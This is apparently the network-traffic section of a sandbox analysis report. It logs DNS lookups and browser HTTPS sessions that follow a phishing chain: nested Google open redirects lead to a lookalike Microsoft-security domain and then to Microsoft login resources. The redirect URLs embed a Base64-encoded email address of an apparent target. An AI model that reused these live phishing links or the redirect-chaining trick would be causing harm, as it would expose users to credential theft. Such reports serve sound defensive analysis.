Jan 14, 2025 15:23:44.564502001 CET	1.1.1.1	192.168.2.7	0xf4f0	No error (0)	automtionmscroftsecurityactivation-authenic.appfilevault.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:44.564502001 CET	1.1.1.1	192.168.2.7	0xf4f0	No error (0)	automtionmscroftsecurityactivation-authenic.appfilevault.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:44.564502001 CET	1.1.1.1	192.168.2.7	0xf4f0	No error (0)	automtionmscroftsecurityactivation-authenic.appfilevault.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:44.564502001 CET	1.1.1.1	192.168.2.7	0xf4f0	No error (0)	automtionmscroftsecurityactivation-authenic.appfilevault.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:44.564502001 CET	1.1.1.1	192.168.2.7	0xf4f0	No error (0)	automtionmscroftsecurityactivation-authenic.appfilevault.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:44.564502001 CET	1.1.1.1	192.168.2.7	0xf4f0	No error (0)	automtionmscroftsecurityactivation-authenic.appfilevault.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:45.873761892 CET	1.1.1.1	192.168.2.7	0x1982	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:45.873761892 CET	1.1.1.1	192.168.2.7	0x1982	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:45.874278069 CET	1.1.1.1	192.168.2.7	0x38a4	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 15:23:47.185118914 CET	1.1.1.1	192.168.2.7	0x2e1e	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 15:23:47.185154915 CET	1.1.1.1	192.168.2.7	0x1e9b	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:47.185154915 CET	1.1.1.1	192.168.2.7	0x1e9b	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:47.218841076 CET	1.1.1.1	192.168.2.7	0xe1b0	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:47.218841076 CET	1.1.1.1	192.168.2.7	0xe1b0	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:47.219166994 CET	1.1.1.1	192.168.2.7	0x71ec	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 15:23:49.091986895 CET	1.1.1.1	192.168.2.7	0x3dac	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.421735048 CET	1.1.1.1	192.168.2.7	0xb7d8	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.421735048 CET	1.1.1.1	192.168.2.7	0xb7d8	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.421735048 CET	1.1.1.1	192.168.2.7	0xb7d8	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.421735048 CET	1.1.1.1	192.168.2.7	0xb7d8	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.423268080 CET	1.1.1.1	192.168.2.7	0xb2ee	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 15:24:04.423279047 CET	1.1.1.1	192.168.2.7	0xf2e7	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.423279047 CET	1.1.1.1	192.168.2.7	0xf2e7	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.423289061 CET	1.1.1.1	192.168.2.7	0x2350	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.423289061 CET	1.1.1.1	192.168.2.7	0x2350	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.423722029 CET	1.1.1.1	192.168.2.7	0x42d3	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Jan 14, 2025 15:24:04.425139904 CET	1.1.1.1	192.168.2.7	0x89bb	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.425139904 CET	1.1.1.1	192.168.2.7	0x89bb	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.425797939 CET	1.1.1.1	192.168.2.7	0xba51	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Jan 14, 2025 15:24:04.870827913 CET	1.1.1.1	192.168.2.7	0x3a13	No error (0)	5863941096-1323985617.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:24:04.870827913 CET	1.1.1.1	192.168.2.7	0x3a13	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.870827913 CET	1.1.1.1	192.168.2.7	0x3a13	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.870827913 CET	1.1.1.1	192.168.2.7	0x3a13	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.870827913 CET	1.1.1.1	192.168.2.7	0x3a13	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.132174015 CET	1.1.1.1	192.168.2.7	0x28b2	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.132174015 CET	1.1.1.1	192.168.2.7	0x28b2	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.132807970 CET	1.1.1.1	192.168.2.7	0x7b7e	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Jan 14, 2025 15:24:05.151106119 CET	1.1.1.1	192.168.2.7	0xce18	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.151106119 CET	1.1.1.1	192.168.2.7	0xce18	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.151395082 CET	1.1.1.1	192.168.2.7	0xa6f5	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 15:24:05.200076103 CET	1.1.1.1	192.168.2.7	0xafae	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.200076103 CET	1.1.1.1	192.168.2.7	0xafae	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.200076103 CET	1.1.1.1	192.168.2.7	0xafae	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.200076103 CET	1.1.1.1	192.168.2.7	0xafae	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.215358019 CET	1.1.1.1	192.168.2.7	0x63a8	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Jan 14, 2025 15:24:05.215375900 CET	1.1.1.1	192.168.2.7	0x18a1	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.215375900 CET	1.1.1.1	192.168.2.7	0x18a1	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:07.544032097 CET	1.1.1.1	192.168.2.7	0x597e	No error (0)	5863941096.legalbusinessfederal.com		69.49.230.198	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:07.767715931 CET	1.1.1.1	192.168.2.7	0x573a	No error (0)	5863941096-1323985617.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:24:07.767715931 CET	1.1.1.1	192.168.2.7	0x573a	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:07.767715931 CET	1.1.1.1	192.168.2.7	0x573a	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:07.767715931 CET	1.1.1.1	192.168.2.7	0x573a	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:07.767715931 CET	1.1.1.1	192.168.2.7	0x573a	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:08.654196024 CET	1.1.1.1	192.168.2.7	0xae80	No error (0)	5863941096.legalbusinessfederal.com		69.49.230.198	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:11.481178999 CET	1.1.1.1	192.168.2.7	0x869c	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:24:11.481178999 CET	1.1.1.1	192.168.2.7	0x869c	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:24:11.481194973 CET	1.1.1.1	192.168.2.7	0x8b5b	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:24:11.481194973 CET	1.1.1.1	192.168.2.7	0x8b5b	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:24:11.481194973 CET	1.1.1.1	192.168.2.7	0x8b5b	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:11.549196005 CET	1.1.1.1	192.168.2.7	0x9168	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:24:11.549196005 CET	1.1.1.1	192.168.2.7	0x9168	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:24:11.549196005 CET	1.1.1.1	192.168.2.7	0x9168	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:12.372495890 CET	1.1.1.1	192.168.2.7	0x6342	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:24:12.372495890 CET	1.1.1.1	192.168.2.7	0x6342	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:12.559535027 CET	1.1.1.1	192.168.2.7	0x603c	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:24:12.559535027 CET	1.1.1.1	192.168.2.7	0x603c	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:24:12.559535027 CET	1.1.1.1	192.168.2.7	0x603c	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:12.578743935 CET	1.1.1.1	192.168.2.7	0xaffc	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:24:12.578743935 CET	1.1.1.1	192.168.2.7	0xaffc	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

google.com

www.google.com

jobuli.in

https:

automtionmscroftsecurityactivation-authenic.appfilevault.com

challenges.cloudflare.com

maxcdn.bootstrapcdn.com

stackpath.bootstrapcdn.com

code.jquery.com

cdnjs.cloudflare.com

5863941096-1323985617.cos.ap-singapore.myqcloud.com

5863941096.legalbusinessfederal.com

aadcdn.msftauth.net

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49718	172.217.16.206	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:39 UTC	2168	OUT	GET /url?q=https%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20%3D%3F0s57db%3DMTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0 [TRUNCATED] Host: google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:39 UTC	2163	IN	HTTP/1.1 301 Moved Permanently Location: https://www.google.com/url?q=https%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20%3D%3F0s57db%3DMTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMm [TRUNCATED] Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-mKErFK98raQ2eplggdJMeA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() Date: Tue, 14 Jan 2025 14:23:39 GMT Expires: Thu, 13 Feb 2025 14:23:39 GMT Cache-Control: public, max-age=2592000 Server: gws Content-Length: 1739 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-14 14:23:39 UTC	1739	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 72 6c 3f 71 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 25 32 46 75 72 6c 25 33 46 71 25 33 44 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TITLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="https://www.google.com/url?q=https%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49711	216.58.206.36	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:39 UTC	2172	OUT	GET /url?q=https%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20%3D%3F0s57db%3DMTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0 [TRUNCATED] Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:40 UTC	2403	IN	HTTP/1.1 302 Found Location: https://www.google.com/url?q=https://www.google.com/url?q=https://www.google.com/url?q=.////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hid [TRUNCATED] Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-bSbxA_HrDcZvhu2aOS7PAQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Tue, 14 Jan 2025 14:23:39 GMT Server: gws Content-Length: 1634 X-XSS-Protection: 0 Set-Cookie: NID=520=SbEnxUSlQQhaaY8DHS7Cr4pTI2L9wYUj1ih-fS53pb8NU0k9UEqOeurHDhx-yM3gDdCPOhnHgwsyGk0BtZPI0E92hoPcwK7KNH6hyCDHrwRGAItt2-uaW7O2r0mz_okIlx3i3VrEcyCXTsuBaKLY8szxuEaluMoOhX0raBTuWjDcOSShJt6lRJri4WBpw4tQTWK3lP04jg; expires=Wed, 16-Jul-2025 14:23:39 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-14 14:23:40 UTC	1383	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 72 6c 3f 71 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 72 6c 3f 71 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 72 6c 3f 71 3d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/url?q=https://www.google.com/url?q=https://www.google.com/url?q=
2025-01-14 14:23:40 UTC	126	IN	Data Raw: 4d 7a 4a 6a 6b 75 52 31 56 57 4d 7a 4d 6d 52 54 51 6d 64 57 5a 30 63 32 4a 70 5a 44 45 7a 4a 6d 4a 31 5a 6d 35 45 4e 43 59 78 4d 79 59 78 4d 79 59 78 4d 79 59 78 4d 79 5a 43 4d 53 5a 47 4e 43 5a 6c 59 6d 5a 70 52 44 51 6d 51 6a 45 6d 52 6a 51 6d 62 57 35 31 61 55 51 30 4a 6b 49 78 4a 6b 59 30 4a 6d 39 69 63 58 52 48 4d 79 5a 45 4e 43 5a 6b 61 7a 64 6f 57 6c 5a 45 4e 43 5a 30 Data Ascii: MzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0
